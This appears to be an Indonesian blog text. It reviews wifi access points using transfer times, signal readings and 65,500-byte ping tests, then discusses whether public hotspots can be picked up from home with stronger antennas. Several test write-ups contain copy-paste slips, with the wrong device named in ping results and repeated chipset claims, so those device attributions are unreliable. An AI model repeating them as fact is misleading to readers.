Pada kesempatan yng sama penulis melakukan test pada Akses Poin merk TP-Link TL-i, akses poin yang lagi naik daun ini berchipsetkan Atheros, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus, selama 2 menit 36,5 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 37 dan SNR juga 32, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP TP-Link dengan menggunakan perintah
ping 192.168.1.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang terkirim 0, tidak ada satupun yang berhasil terkirim, semuanya RTO (Request Time Out), begitu pula ketika diberi beban 1500 byte, hasilnya tetap RTO semua, baru ketika diberi beban 1470byte, 100% paket terkirim semua. Kesimpulannya meski mengusung chipset bagus, tapi kinerja TP-Link masih kurang memuaskan.



Tes AP Edimax 7206Apg

Kali ini penulis melkukan test pada Akses Poin merk Edimax 7206Apg, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 41,9 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 33 dan SNR sebesar 30, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.2.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 95 dan 5 paket hilang (5%loss), waktu tempuh minimum 125ms, maksimum 516ms, rata-rata 176ms.
Kesimpulannya nama tersohor Edimax, memang bukan bualan atau promosi belaka, meski tingkat signal di bawah AP TP-Link tapi performanya jauh diatas TP-Link.



Tes AP MINITAR Broadband Router

Kami juga melakukan test pada Akses Poin + Router merk Minitar, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 51,3 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 36 dan SNR sebesar 29, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.1.254 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP Minitar selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 98 dan 2 paket hilang (2%loss), waktu tempuh minimum 136ms, maksimum 259ms, rata-rata 165ms.
Kesimpulannya AP plus Router ini layak dijadikan sebagai gawang internet anda, kemampuan memorynya yang cukup besar yakni 256MB, mampu memberikan pelayanan yang cukup baik bagi para clientnya.



Tes AP Linksys WAP54G

Test juga dilakukan pada Akses Poin merk Linksys WAP 54G, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 44,3 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 25 dan SNR sebesar 31, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.1.254 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP Minitar selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 100 dan 0 paket hilang (0%loss), waktu tempuh minimum 126ms, maksimum 237ms, rata-rata 146ms.
Kesimpulannya AP besutan Cisco ini layak dijadikan sebagai andalan hotspot anda, kecepatan dan kestabilannya memang cukup mengagumkan, layak dengan design bodynya yang kokoh namun menawan.



Tes AP Edimax BR-6204Wg Wireless 802.11b/g Broadband Router with 4 Ports Switch

Test pada Akses Poin merk Edimax Router, akses poin yang kawakan di kalangan praktisi wifi ini berchipsetkan Realtek, sebagai client, tetap kami gunakan PCMCIA WLAN AR5001X , pada jarak 5 meter yang terhalang tembok tebal, kami berhasil melakukan transfer data berupa sebuah file sebesar 56,1MB tanpa terputus-putus dalam waktu 1 menit 5,7 detik. Kemudian tetap pada jarak 5 meter yang terhalang tembok rapat, penulis melakukan test dengan Nestumbler, didapat kekuatan signal maksimal sebesar 27 dan SNR sebesar 23, lalu penulis juga melakukan ping dari notebook yang berbasiskan Windows XP ke AP Edimax dengan menggunakan perintah
ping 192.168.2.1 -n 100 -l 65500
dimana perintah tersebut melakukan ping dengan kekuatan beban sebesar 65.500 bytes ke AP TP-Link selama 100 kali, hasilnya adalah paket yang berhasil terkirim sebanyak 94 dan 6 paket hilang (6%loss), waktu tempuh minimum 144ms, maksimum 716ms, rata-rata 184ms.
Kesimpulannya meski tidak terlalu mengecewakan, namun hasil test kali ini lebih baik dari adiknya yakni Edimax 7206Apg.

date

Apakah Hotspot Wifi Gratis Bisa Ditembak dari Rumah kita?


Apakah Hotspot Gratis Bisa Ditembak dari Rumah kita?

Pertanyaan ini seringkali dilontarkan ke penulis, semenjak frekuensi 2.4Ghz dibebaskan penggunaannya oleh pemerintah, pertumbuhan jaringan wifi dan hotspot meningkat drastis, taman-taman hiburan, restoran, cafe, dan kantor tak luput memeriahkan suasana ber-hotspot ria. Kita bisa mengakses internet gratis dari tempat-tempat yang ada hotspotnya. Fenomena ini membuat ngiler sebagian masyarakat untuk mendapatkan kesempatan berinternet ria, bahkan merekapun ingin menikmati internet gratis dari rumah dengan dengan menembak sinyal wifi hotspot tersebut dari kediaman mereka, he he he bisa nggak ya............
Pada umumnya pembuatan hotspot cukup dengan menggunakan alat yang disebut akses poin, dimana pada akses poin tersebut sudah dilengkapi dengan antena internal yang berkekuatan sekitar 3-5db,(contoh akses poin ada pada gambar disamping) pemasangan akses poin dengan antena internal tersebut jangkauannya amat terbatas, sekitar puluhan atau bahkan ratusan meter persegi, diatas itu, sinyalnya sulit ditangkap, apalagi kalau diatas jarak 500 meter atau lebih dari tempat akses poin tersebut berada, konsepnya seperti kalau anda penggemar salah satu radio FM favorit anda di Surabaya, kemudian ketika anda bepergian ke Semarang, apakah anda bisa mendengar siaran radio kesayangan anda tersebut, meski dengan radio yang paling mahal di Semarang?? Konsep hotspot di tempat-tempat publik seperti itu memang didesain untuk kalangan pengguna lokal bukan untuk kalangan di luar tempat hotspot itu berada. Tapi kalau akses poin di tempat hotspot itu menggunakan antena luar/outdoor yang berkekuatan diatas 10 db atau lebih, maka ada kemungkinan dia bisa diakses dari jarak yang jauh, meski di luar tempat hotspot itu berada. Sebaiknya anda melakukan survey terlebih dahulu ke tempat hotspot itu untuk mengetahui type atau merk akses poin yang digunakan dan type antena yang menempel di akses poin tersebut, juga anda sebaiknya punya pengetahuan yang cukup tentang wifi beserta spesifikasi peralatan wifi, tanpa adanya pengetahuan itu sulit bagi anda untuk "menembaknya", meski memang sebagian hotspot sengaja dibuat untuk "terbuka", tidak ada pengamannya, jadi anda bisa untuk mengaksesnya, "JIKA" anda memang berada pada jangkauan sinyal wifi-nya

date